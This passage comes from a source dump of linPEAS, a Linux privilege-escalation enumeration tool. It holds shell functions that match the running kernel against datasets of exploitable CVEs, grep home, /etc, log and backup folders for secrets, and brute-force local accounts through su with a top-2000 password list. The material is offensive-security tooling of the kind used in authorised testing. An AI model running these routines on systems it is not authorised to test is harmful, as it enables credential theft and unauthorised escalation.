$KERNEL_CVE_SYS_VAL, $KERNEL_CVE_SYS_CUR, $KERNEL_CVE_REQS, $KERNEL_CVE_REQ, $KERNEL_CVE_REQ_LINES, $KERNEL_CVE_ID, $KERNEL_CVE_ID_NORM, $KERNEL_CVE_NAME, $KERNEL_CVE_TAGS, $KERNEL_CVE_RANK, $KERNEL_CVE_COMMENTS, $KERNEL_CVE_EXPL, $KERNEL_CVE_VERS, $KERNEL_CVE_VER_LINES, $KERNEL_CVE_ALT, $KERNEL_CVE_MIL, $KERNEL_CVE_TOKEN_OK, $KERNEL_CVE_MATCHES, $KERNEL_CVE_KERNEL_RELEASE, $KERNEL_CVE_KERNEL_VERSION, $KERNEL_CVE_KERNEL_ARCH, $KERNEL_CVE_KERNEL_OS, $KERNEL_CVE_VER, $KERNEL_CVE_OP, $KERNEL_CVE_REQVER, $KERNEL_CVE_CURVER, $KERNEL_CVE_CMP, $KERNEL_CVE_PRINT_ID, $KERNEL_CVE_PRINT_REASON, $KERNEL_CVE_ID_RAW, $KERNEL_CVE_ID_ITEM, $KERNEL_CVE_ID_OUT, $KERNEL_CVE_ALL_DATA, $KERNEL_CVE_PRINT_LINE\n# Fat linpeas: 0\n# Small linpeas: 1\n\nKERNEL_CVE_EXPL=\"\"\nKERNEL_CVE_ALT=\"\"\nKERNEL_CVE_MIL=\"\"\n\nkercve_norm_ver() {\n    printf \"%s\" \"$1\" | tr '-' '.' | sed 's/[^0-9.].*$//' | sed 's/\\.\\./\\./g' | sed 's/^\\.//' | sed 's/\\.$//'\n}\n\nkercve_ver_cmp() {\n    KERNEL_CVE_CURVER=$(kercve_norm_ver \"$1\")\n    KERNEL_CVE_REQVER=$(kercve_norm_ver \"$3\")\n    KERNEL_CVE_OP=\"$2\"\n\n    [ -z \"$KERNEL_CVE_CURVER\" ] && return 1\n    [ -z \"$KERNEL_CVE_REQVER\" ] && return 1\n\n    KERNEL_CVE_CMP=$(awk -v a=\"$KERNEL_CVE_CURVER\" -v b=\"$KERNEL_CVE_REQVER\" '\n    function clean(v){gsub(/[^0-9]/,\"\",v); if(v==\"\")v=0; return v+0}\n    BEGIN{\n      na=split(a,A,\".\"); nb=split(b,B,\".\"); n=(na>nb?na:nb);\n      for(i=1;i<=n;i++){\n        va=(i<=na?clean(A[i]):0); vb=(i<=nb?clean(B[i]):0);\n        if(va<vb){print -1; exit}\n        if(va>vb){print 1; exit}\n      }\n      print 0\n    }')\n\n    case \"$KERNEL_CVE_OP\" in\n        '=') [ \"$KERNEL_CVE_CMP\" -eq 0 ] ;;\n        '>') [ \"$KERNEL_CVE_CMP\" -gt 0 ] ;;\n        '<') [ \"$KERNEL_CVE_CMP\" -lt 0 ] ;;\n        '>=') [ \"$KERNEL_CVE_CMP\" -ge 0 ] ;;\n        '<=') [ \"$KERNEL_CVE_CMP\" -le 0 ] ;;\n        *) return 1 ;;\n    esac\n}\n\nkercve_get_cfg_line() {\n    KERNEL_CVE_CFG_KEY=\"$1\"\n\n    if [ -z \"$KERNEL_CVE_CFG_SOURCE\" ] || ! [ -r \"$KERNEL_CVE_CFG_SOURCE\" ]; then\n        return 1\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_CFG_SOURCE\" | grep -q '\\\\.gz$'; then\n        KERNEL_CVE_CFG_LINE=$(gzip -dc \"$KERNEL_CVE_CFG_SOURCE\" 2>/dev/null | grep -E \"^(${KERNEL_CVE_CFG_KEY}=|# ${KERNEL_CVE_CFG_KEY} is not set)\" | head -n1)\n    else\n        KERNEL_CVE_CFG_LINE=$(grep -E \"^(${KERNEL_CVE_CFG_KEY}=|# ${KERNEL_CVE_CFG_KEY} is not set)\" \"$KERNEL_CVE_CFG_SOURCE\" 2>/dev/null | head -n1)\n    fi\n\n    [ -n \"$KERNEL_CVE_CFG_LINE\" ]\n}\n\nkercve_eval_config_req() {\n    KERNEL_CVE_CFG_EXPR=\"$1\"\n\n    [ -z \"$KERNEL_CVE_CFG_SOURCE\" ] && return 0\n\n    if printf \"%s\" \"$KERNEL_CVE_CFG_EXPR\" | grep -q '!='; then\n        KERNEL_CVE_CFG_OP='!='\n        KERNEL_CVE_CFG_KEY=$(printf \"%s\" \"$KERNEL_CVE_CFG_EXPR\" | awk -F'!=' '{print $1}')\n        KERNEL_CVE_CFG_EXPECT=$(printf \"%s\" \"$KERNEL_CVE_CFG_EXPR\" | awk -F'!=' '{print $2}')\n    elif printf \"%s\" \"$KERNEL_CVE_CFG_EXPR\" | grep -q '='; then\n        KERNEL_CVE_CFG_OP='='\n        KERNEL_CVE_CFG_KEY=$(printf \"%s\" \"$KERNEL_CVE_CFG_EXPR\" | awk -F'=' '{print $1}')\n        KERNEL_CVE_CFG_EXPECT=$(printf \"%s\" \"$KERNEL_CVE_CFG_EXPR\" | awk -F'=' '{print $2}')\n    else\n        KERNEL_CVE_CFG_OP='present'\n        KERNEL_CVE_CFG_KEY=\"$KERNEL_CVE_CFG_EXPR\"\n        KERNEL_CVE_CFG_EXPECT='[my]'\n    fi\n\n    if ! kercve_get_cfg_line \"$KERNEL_CVE_CFG_KEY\"; then\n        return 0\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_CFG_LINE\" | grep -q '# .* is not set'; then\n        KERNEL_CVE_CFG_CUR='n'\n    else\n        KERNEL_CVE_CFG_CUR=$(printf \"%s\" \"$KERNEL_CVE_CFG_LINE\" | awk -F'=' '{print $2}')\n    fi\n\n    if [ \"$KERNEL_CVE_CFG_OP\" = '!=' ]; then\n        if printf \"%s\" \"$KERNEL_CVE_CFG_EXPECT\" | grep -q '\\\\[my\\\\]'; then\n            ! printf \"%s\" \"$KERNEL_CVE_CFG_CUR\" | grep -Eq '^[my]$'\n        else\n            [ \"$KERNEL_CVE_CFG_CUR\" != \"$KERNEL_CVE_CFG_EXPECT\" ]\n        fi\n        return\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_CFG_EXPECT\" | grep -q '\\\\[my\\\\]'; then\n        printf \"%s\" \"$KERNEL_CVE_CFG_CUR\" | grep -Eq '^[my]$'\n        return\n    fi\n\n    [ \"$KERNEL_CVE_CFG_CUR\" = \"$KERNEL_CVE_CFG_EXPECT\" ]\n}\n\nkercve_eval_sysctl_req() {\n    KERNEL_CVE_SYS_EXPR=\"$1\"\n\n    if printf \"%s\" \"$KERNEL_CVE_SYS_EXPR\" | grep -q '!='; then\n        KERNEL_CVE_SYS_OP='!='\n        KERNEL_CVE_SYS_KEY=$(printf \"%s\" \"$KERNEL_CVE_SYS_EXPR\" | awk -F'!=' '{print $1}')\n        KERNEL_CVE_SYS_VAL=$(printf \"%s\" \"$KERNEL_CVE_SYS_EXPR\" | awk -F'!=' '{print $2}')\n    elif printf \"%s\" \"$KERNEL_CVE_SYS_EXPR\" | grep -q '=='; then\n        KERNEL_CVE_SYS_OP='=='\n        KERNEL_CVE_SYS_KEY=$(printf \"%s\" \"$KERNEL_CVE_SYS_EXPR\" | awk -F'==' '{print $1}')\n        KERNEL_CVE_SYS_VAL=$(printf \"%s\" \"$KERNEL_CVE_SYS_EXPR\" | awk -F'==' '{print $2}')\n    else\n        return 1\n    fi\n\n    KERNEL_CVE_SYS_CUR=$(sysctl -n \"$KERNEL_CVE_SYS_KEY\" 2>/dev/null)\n    [ -z \"$KERNEL_CVE_SYS_CUR\" ] && return 0\n\n    if [ \"$KERNEL_CVE_SYS_OP\" = '==' ]; then\n        [ \"$KERNEL_CVE_SYS_CUR\" = \"$KERNEL_CVE_SYS_VAL\" ]\n    else\n        [ \"$KERNEL_CVE_SYS_CUR\" != \"$KERNEL_CVE_SYS_VAL\" ]\n    fi\n}\n\nkercve_eval_req_token() {\n    KERNEL_CVE_REQ=\"$1\"\n\n    [ -z \"$KERNEL_CVE_REQ\" ] && return 0\n\n    if printf \"%s\" \"$KERNEL_CVE_REQ\" | grep -q '^pkg='; then\n        [ \"$KERNEL_CVE_REQ\" = 'pkg=linux-kernel' ]\n        return\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_REQ\" | grep -q '^ver'; then\n        KERNEL_CVE_OP=$(printf \"%s\" \"$KERNEL_CVE_REQ\" | sed -E 's/^ver(<=|>=|=|<|>).*/\\1/')\n        KERNEL_CVE_VER=$(printf \"%s\" \"$KERNEL_CVE_REQ\" | sed -E 's/^ver(<=|>=|=|<|>)//')\n        kercve_ver_cmp \"$KERNEL_CVE_KERNEL_VERSION\" \"$KERNEL_CVE_OP\" \"$KERNEL_CVE_VER\"\n        return\n    fi\n\n    if [ \"$KERNEL_CVE_REQ\" = 'x86_64' ]; then\n        [ \"$KERNEL_CVE_KERNEL_ARCH\" = 'x86_64' ]\n        return\n    fi\n\n    if [ \"$KERNEL_CVE_REQ\" = 'x86' ]; then\n        [ \"$KERNEL_CVE_KERNEL_ARCH\" = 'i386' ] || [ \"$KERNEL_CVE_KERNEL_ARCH\" = 'i686' ] || [ \"$KERNEL_CVE_KERNEL_ARCH\" = 'x86' ]\n        return\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_REQ\" | grep -q '^CONFIG_'; then\n        kercve_eval_config_req \"$KERNEL_CVE_REQ\"\n        return\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_REQ\" | grep -q '^sysctl:'; then\n        kercve_eval_sysctl_req \"${KERNEL_CVE_REQ#sysctl:}\"\n        return\n    fi\n\n    if printf \"%s\" \"$KERNEL_CVE_REQ\" | grep -q '^cmd:'; then\n        eval \"${KERNEL_CVE_REQ#cmd:}\" >/dev/null 2>&1\n        return\n    fi\n\n    return 1\n}\n\nkercve_match_version_list() {\n    KERNEL_CVE_VERS=\"$1\"\n    KERNEL_CVE_VER_LINES=$(printf \"%s\" \"$KERNEL_CVE_VERS\" | tr ',' '\\n')\n\n    while IFS= read -r KERNEL_CVE_VER; do\n        KERNEL_CVE_VER=$(printf \"%s\" \"$KERNEL_CVE_VER\" | sed 's/^ *//;s/ *$//')\n        [ -z \"$KERNEL_CVE_VER\" ] && continue\n        if printf \"%s\" \"$KERNEL_CVE_KERNEL_VERSION\" | grep -Eq \"^${KERNEL_CVE_VER}(\\\\.|-|$)\"; then\n            return 0\n        fi\n    done <<EOFV\n$KERNEL_CVE_VER_LINES\nEOFV\n\n    return 1\n}\n\nkercve_normalize_cve_list() {\n    KERNEL_CVE_ID_RAW=\"$1\"\n    KERNEL_CVE_ID_OUT=\"\"\n\n    KERNEL_CVE_ID_RAW=$(printf \"%s\" \"$KERNEL_CVE_ID_RAW\" | tr ';' ',' | tr '|' ',')\n    while IFS= read -r KERNEL_CVE_ID_ITEM; do\n        KERNEL_CVE_ID_ITEM=$(printf \"%s\" \"$KERNEL_CVE_ID_ITEM\" | sed 's/^ *//;s/ *$//' | tr '[:lower:]' '[:upper:]')\n        [ -z \"$KERNEL_CVE_ID_ITEM\" ] && continue\n        if printf \"%s\" \"$KERNEL_CVE_ID_ITEM\" | grep -Eq '^CVE-[0-9]{4}-[0-9]+$'; then\n            if [ -z \"$KERNEL_CVE_ID_OUT\" ]; then KERNEL_CVE_ID_OUT=\"$KERNEL_CVE_ID_ITEM\"; else KERNEL_CVE_ID_OUT=\"$KERNEL_CVE_ID_OUT,$KERNEL_CVE_ID_ITEM\"; fi\n            continue\n        fi\n        if printf \"%s\" \"$KERNEL_CVE_ID_ITEM\" | grep -Eq '^[0-9]{4}-[0-9]+$'; then\n            if [ -z \"$KERNEL_CVE_ID_OUT\" ]; then KERNEL_CVE_ID_OUT=\"CVE-$KERNEL_CVE_ID_ITEM\"; else KERNEL_CVE_ID_OUT=\"$KERNEL_CVE_ID_OUT,CVE-$KERNEL_CVE_ID_ITEM\"; fi\n            continue\n        fi\n    done <<EOFC\n$(printf \"%s\" \"$KERNEL_CVE_ID_RAW\" | tr ',' '\\n')\nEOFC\n\n    printf \"%s\" \"$KERNEL_CVE_ID_OUT\"\n}\n\nkercve_print_match() {\n    KERNEL_CVE_PRINT_ID=\"$1\"\n    KERNEL_CVE_NAME=\"$2\"\n    KERNEL_CVE_REQS=\"$3\"\n    KERNEL_CVE_TAGS=\"$4\"\n    KERNEL_CVE_RANK=\"$5\"\n    KERNEL_CVE_COMMENTS=\"$6\"\n    KERNEL_CVE_PRINT_LINE=\"\"\n\n    [ -n \"$KERNEL_CVE_PRINT_ID\" ] && KERNEL_CVE_PRINT_LINE=\"CVE: $KERNEL_CVE_PRINT_ID\"\n    [ -n \"$KERNEL_CVE_NAME\" ] && KERNEL_CVE_PRINT_LINE=\"${KERNEL_CVE_PRINT_LINE}${KERNEL_CVE_PRINT_LINE:+ | }Name: $KERNEL_CVE_NAME\"\n    [ -n \"$KERNEL_CVE_REQS\" ] && KERNEL_CVE_PRINT_LINE=\"${KERNEL_CVE_PRINT_LINE}${KERNEL_CVE_PRINT_LINE:+ | }Match data: $KERNEL_CVE_REQS\"\n    [ -n \"$KERNEL_CVE_TAGS\" ] && KERNEL_CVE_PRINT_LINE=\"${KERNEL_CVE_PRINT_LINE}${KERNEL_CVE_PRINT_LINE:+ | }Tags: $KERNEL_CVE_TAGS\"\n    [ -n \"$KERNEL_CVE_RANK\" ] && KERNEL_CVE_PRINT_LINE=\"${KERNEL_CVE_PRINT_LINE}${KERNEL_CVE_PRINT_LINE:+ | }Rank: $KERNEL_CVE_RANK\"\n    [ -n \"$KERNEL_CVE_COMMENTS\" ] && KERNEL_CVE_PRINT_LINE=\"${KERNEL_CVE_PRINT_LINE}${KERNEL_CVE_PRINT_LINE:+ | }Details: $KERNEL_CVE_COMMENTS\"\n\n    [ -z \"$KERNEL_CVE_PRINT_LINE\" ] && KERNEL_CVE_PRINT_LINE=\"Kernel vuln matched with no printable metadata\"\n    printf \"%s\\n\" \"$KERNEL_CVE_PRINT_LINE\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n}\n\nkercve_run_registry() {\n    KERNEL_CVE_KERNEL_OS=$(uname -s 2>/dev/null)\n    KERNEL_CVE_KERNEL_RELEASE=$(uname -r 2>/dev/null)\n    KERNEL_CVE_KERNEL_VERSION=$(kercve_norm_ver \"$KERNEL_CVE_KERNEL_RELEASE\")\n    KERNEL_CVE_KERNEL_ARCH=$(uname -m 2>/dev/null)\n\n    KERNEL_CVE_CFG_SOURCE=\"\"\n    for KERNEL_CVE_CFG_FILE in \"/proc/config.gz\" \"/boot/config-$KERNEL_CVE_KERNEL_RELEASE\" \"/lib/modules/$KERNEL_CVE_KERNEL_RELEASE/build/.config\" \"/usr/lib/modules/$KERNEL_CVE_KERNEL_RELEASE/build/.config\" \"/usr/src/linux/.config\"; do\n        if [ -r \"$KERNEL_CVE_CFG_FILE\" ]; then\n            KERNEL_CVE_CFG_SOURCE=\"$KERNEL_CVE_CFG_FILE\"\n            break\n        fi\n    done\n\n    KERNEL_CVE_ALL_DATA=$(printf \"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\" \\\n        \"$KERNEL_CVE_DATA_1\" \"$KERNEL_CVE_DATA_2\" \"$KERNEL_CVE_DATA_3\" \"$KERNEL_CVE_DATA_4\" \"$KERNEL_CVE_DATA_5\" \\\n        \"$KERNEL_CVE_DATA_6\" \"$KERNEL_CVE_DATA_7\" \"$KERNEL_CVE_DATA_8\" \"$KERNEL_CVE_DATA_9\" \"$KERNEL_CVE_DATA_10\" \\\n        \"$KERNEL_CVE_DATA_11\" \"$KERNEL_CVE_DATA_12\" \"$KERNEL_CVE_DATA_13\" \"$KERNEL_CVE_DATA_14\" \"$KERNEL_CVE_DATA_15\" \\\n        \"$KERNEL_CVE_DATA_16\" \"$KERNEL_CVE_DATA_17\" \"$KERNEL_CVE_DATA_18\" \"$KERNEL_CVE_DATA_19\" \"$KERNEL_CVE_DATA_20\" \\\n        \"$KERNEL_CVE_DATA_21\")\n\n    print_list \"Operating system ............. $KERNEL_CVE_KERNEL_OS\\n\"\n    print_list \"Kernel release ............... $KERNEL_CVE_KERNEL_RELEASE\\n\"\n    print_list \"Comparable version ........... $KERNEL_CVE_KERNEL_VERSION\\n\"\n    print_list \"Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..21)\\n\"\n    if [ -n \"$KERNEL_CVE_CFG_SOURCE\" ]; then\n        print_list \"Kernel config source ......... $KERNEL_CVE_CFG_SOURCE\\n\"\n    else\n        print_list \"Kernel config source ......... \"\n        echo_not_found \"not available\"\n    fi\n\n    if [ \"$KERNEL_CVE_KERNEL_OS\" != \"Linux\" ]; then\n        print_list \"Registry status .............. Linux kernel CVE datasets are not applicable to $KERNEL_CVE_KERNEL_OS\\n\" | sed -${E} \"s,.*,${SED_GREEN},\"\n        return 0\n    fi\n\n    KERNEL_CVE_MATCHES=0\n\n    while IFS=\"\t\" read -r KERNEL_CVE_ID KERNEL_CVE_NAME KERNEL_CVE_REQS KERNEL_CVE_TAGS KERNEL_CVE_RANK KERNEL_CVE_COMMENTS; do\n        [ -z \"$KERNEL_CVE_ID\" ] && continue\n\n        KERNEL_CVE_TOKEN_OK=1\n\n        if printf \"%s\" \"$KERNEL_CVE_REQS\" | grep -Eq '^pkg=|^ver|CONFIG_|sysctl:|cmd:|,pkg=|,ver|,CONFIG_|,sysctl:|,cmd:'; then\n            KERNEL_CVE_REQ_LINES=$(printf \"%s\" \"$KERNEL_CVE_REQS\" | tr ',' '\\n')\n            while IFS= read -r KERNEL_CVE_REQ; do\n                KERNEL_CVE_REQ=$(printf \"%s\" \"$KERNEL_CVE_REQ\" | sed 's/^ *//;s/ *$//')\n                if ! kercve_eval_req_token \"$KERNEL_CVE_REQ\"; then\n                    KERNEL_CVE_TOKEN_OK=0\n                    break\n                fi\n            done <<EOFR\n$KERNEL_CVE_REQ_LINES\nEOFR\n        else\n            if ! kercve_match_version_list \"$KERNEL_CVE_REQS\"; then\n                KERNEL_CVE_TOKEN_OK=0\n            fi\n        fi\n\n        [ \"$KERNEL_CVE_TOKEN_OK\" -eq 0 ] && continue\n\n        # Some embedded datasets store rows as: <exploit_name> <cve_id> <versions> ...\n        # while others store: <cve_id> <exploit_name> <reqs> ...\n        # Normalize whichever column contains the CVE identifier, but keep printing\n        # all matched vulns even when no CVE exists for that row.\n        KERNEL_CVE_ID_RAW=\"$KERNEL_CVE_ID\"\n        KERNEL_CVE_ID_NORM=$(kercve_normalize_cve_list \"$KERNEL_CVE_ID_RAW\")\n        if [ -z \"$KERNEL_CVE_ID_NORM\" ]; then\n            KERNEL_CVE_ID_NORM=$(kercve_normalize_cve_list \"$KERNEL_CVE_NAME\")\n            if [ -n \"$KERNEL_CVE_ID_NORM\" ]; then\n                KERNEL_CVE_NAME=\"$KERNEL_CVE_ID_RAW\"\n            fi\n        fi\n\n        if [ \"$KERNEL_CVE_NAME\" = \"N/A\" ] || [ \"$KERNEL_CVE_NAME\" = \"n/a\" ] || [ \"$KERNEL_CVE_NAME\" = \"N\\\\A\" ]; then\n            KERNEL_CVE_NAME=\"\"\n        fi\n        if [ \"$KERNEL_CVE_ID_RAW\" = \"N/A\" ] || [ \"$KERNEL_CVE_ID_RAW\" = \"n/a\" ] || [ \"$KERNEL_CVE_ID_RAW\" = \"N\\\\A\" ]; then\n            KERNEL_CVE_ID_RAW=\"\"\n        fi\n\n        KERNEL_CVE_PRINT_ID=\"$KERNEL_CVE_ID_NORM\"\n        if [ -z \"$KERNEL_CVE_PRINT_ID\" ] && printf \"%s\" \"$KERNEL_CVE_ID_RAW\" | grep -Eq '^CVE-|^[0-9]{4}-[0-9]+$'; then\n            KERNEL_CVE_PRINT_ID=$(kercve_normalize_cve_list \"$KERNEL_CVE_ID_RAW\")\n        fi\n\n        KERNEL_CVE_MATCHES=$((KERNEL_CVE_MATCHES + 1))\n        kercve_print_match \"$KERNEL_CVE_PRINT_ID\" \"$KERNEL_CVE_NAME\" \"$KERNEL_CVE_REQS\" \"$KERNEL_CVE_TAGS\" \"$KERNEL_CVE_RANK\" \"$KERNEL_CVE_COMMENTS\"\n    done <<EOFD\n$KERNEL_CVE_ALL_DATA\nEOFD\n\n    KERNEL_CVE_PRINT_REASON=\"Kernel vulns found: $KERNEL_CVE_MATCHES\"\n    if [ \"$KERNEL_CVE_MATCHES\" -gt 0 ]; then\n        print_list \"$KERNEL_CVE_PRINT_REASON\\n\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n    else\n        print_list \"No rule matched current kernel/version prerequisites in embedded datasets.\\n\" | sed -${E} \"s,.*,${SED_GREEN},\"\n    fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/macosNotSigned.sh",
    "content": "# Title: LinPeasBase - macosNotSigned\n# ID: macosNotSigned\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get the macOS unsigned applications\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables: \n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nmacosNotSigned(){\n  for f in $1/*; do\n    if codesign -vv -d \\\"$f\\\" 2>&1 | grep -q 'not signed'; then\n      echo \"$f isn't signed\" | sed -${E} \"s,.*,${SED_RED},\"\n    fi\n  done\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/print_info.sh",
    "content": "# Title: LinPeasBase - print_info\n# ID: print_info\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Print info\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_info(){\n  printf \"${BLUE}╚ ${ITALIC_BLUE}$1\\n\"$NC\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/print_list.sh",
    "content": "# Title: LinPeasBase - print_list\n# ID: print_list\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Print list\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_list(){\n  printf ${BLUE}\"═╣ $GREEN$1\"$NC #There is 1 \"═\"\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/print_ps.sh",
    "content": "# Title: LinPeasBase - print_ps\n# ID: print_ps\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get processes reading /proc\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $CMDLINE, $USER2\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nprint_ps(){\n  (ls -d /proc/*/ 2>/dev/null | while read f; do\n    CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av \"seds,\"); #Delete my own sed processess\n    if [ \"$CMDLINE\" ];\n      then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d \"/\" -f3);\n      printf \"  %-13s  %-8s  %s\\n\" \"$USER2\" \"$PID\" \"$CMDLINE\";\n    fi;\n  done) 2>/dev/null | sort -r\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/search_for_regex.sh",
    "content": "# Title: API Keys Regex - search_for_regex\n# ID: search_for_regex\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Search for a given regex in the file system\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: print_3title_no_nl\n# Global Variables: $backup_folders_row, $HOMESEARCH, $ROOT_FOLDER, $SEARCH_IN_FOLDER\n# Initial Functions:\n# Generated Global Variables: $regex, $title, $caseSensitive\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsearch_for_regex(){\n    title=$1\n    regex=$2\n    caseSensitive=$3\n    \n    if [ \"$caseSensitive\" ]; then\n        i=\"i\"\n    else\n        i=\"\"\n    fi\n\n    print_3title_no_nl \"Searching $title...\"\n\n    if [ \"$SEARCH_IN_FOLDER\" ]; then\n        timeout 120 find \"$ROOT_FOLDER\" -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n    else\n        # Search in home direcoties (usually the slowest)\n        timeout 120 find $HOMESEARCH -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n        \n        # Search in etc\n        timeout 120 find /etc -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n        \n        # Search in opt\n        timeout 120 find /opt -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n        \n        # Search in possible web folders (usually only 1 will exist)\n        timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n        \n        # Search in logs\n        timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n        \n        # Search in backups\n        timeout 120 find $backup_folders_row -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n        \n        # Search in others folders (usually only /srv or /Applications will exist)\n        timeout 120 find /tmp /srv /Applications -type f -not -path \"*/node_modules/*\" -exec grep -HnRIE$i \"$regex\" '{}' \\; 2>/dev/null  | sed '/^.\\{150\\}./d' | sort | uniq | head -n 50 &\n    fi\n    wait\n    printf \"\\033[2K\\r\"\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/su_brute_user_num.sh",
    "content": "# Title: LinPeasBase - su_brute_user_num\n# ID: su_brute_user_num\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Brute force users with a list of passwords\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: su_try_pwd \n# Global Variables: $PASSWORD, $top2000pwds\n# Initial Functions:\n# Generated Global Variables: $BFUSER, $TRIES\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsu_brute_user_num(){\n  BFUSER=$1\n  TRIES=$2\n  su_try_pwd \"$BFUSER\" \"\" &    #Try without password\n  su_try_pwd \"$BFUSER\" \"$BFUSER\" & #Try username as password\n  su_try_pwd \"$BFUSER\" \"$(echo $BFUSER | rev 2>/dev/null)\" & #Try reverse username as password\n  if [ \"$PASSWORD\" ]; then\n    su_try_pwd \"$BFUSER\" \"$PASSWORD\" & #Try given password\n  fi\n  for i in $(seq \"$TRIES\"); do\n    su_try_pwd \"$BFUSER\" \"$(echo $top2000pwds | cut -d ' ' -f $i)\" & #Try TOP TRIES of passwords (by default 2000)\n    sleep 0.007 # To not overload the system\n  done\n  wait\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/su_try_pwd.sh",
    "content": "# Title: LinPeasBase - su_try_pwd\n# ID: su_try_pwd\n# Author: Carlos Polop\n# Last Update: 15-12-2025\n# Description: Try to login as user using a password\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables: $SED_RED_YELLOW\n# Initial Functions:\n# Generated Global Variables: $BFUSER, $PASSWORDTRY, $trysu\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nsu_try_pwd(){\n  BFUSER=$1\n  PASSWORDTRY=$2\n  trysu=$(echo \"$PASSWORDTRY\" | timeout 1 su $BFUSER -c whoami 2>/dev/null)\n    if [ $? -eq 0 ]; then\n    echo \"  You can login as $BFUSER using password: $PASSWORDTRY\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n  fi\n}\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/functions/warn_exec.sh",
    "content": "# Title: LinPeasBase - warn_exec\n# ID: warn_exec\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Warn if a command is not found\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: echo_not_found\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nwarn_exec(){\n  $* 2>/dev/null || echo_not_found $1\n}"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/linpeas_base/0_variables_base.sh",
    "content": "# Title: Variables - variables_base\n# ID: BS_variables_base\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Base variables for new Linpeas\n# License: GNU GPL\n# Version: 1.0\n# Functions Used:\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $VERSION, $ADVISORY, $IAMROOT, $MAXPATH_FIND_W, $C, $RED, $SED_RED, $GREEN, $SED_GREEN, $YELLOW, $SED_YELLOW, $RED_YELLOW, $SED_RED_YELLOW, $BLUE, $SED_BLUE, $ITALIC_BLUE, $LIGHT_MAGENTA, $SED_LIGHT_MAGENTA, $LIGHT_CYAN, $SED_LIGHT_CYAN, $LG, $SED_LG, $DG, $SED_DG, $NC, $UNDERLINED, $ITALIC, $MACPEAS, $FAST, $SUPERFAST, $DISCOVERY, $PORTS, $QUIET, $CHECKS, $MITRE_FILTER, $SEARCH_IN_FOLDER, $ROOT_FOLDER, $WAIT, $PASSWORD, $NOCOLOR, $DEBUG, $AUTO_NETWORK_SCAN, $EXTRA_CHECKS, $REGEXES, $PORT_FORWARD, $E, $PING, $FPING, $DISCOVER_BAN_BAD, 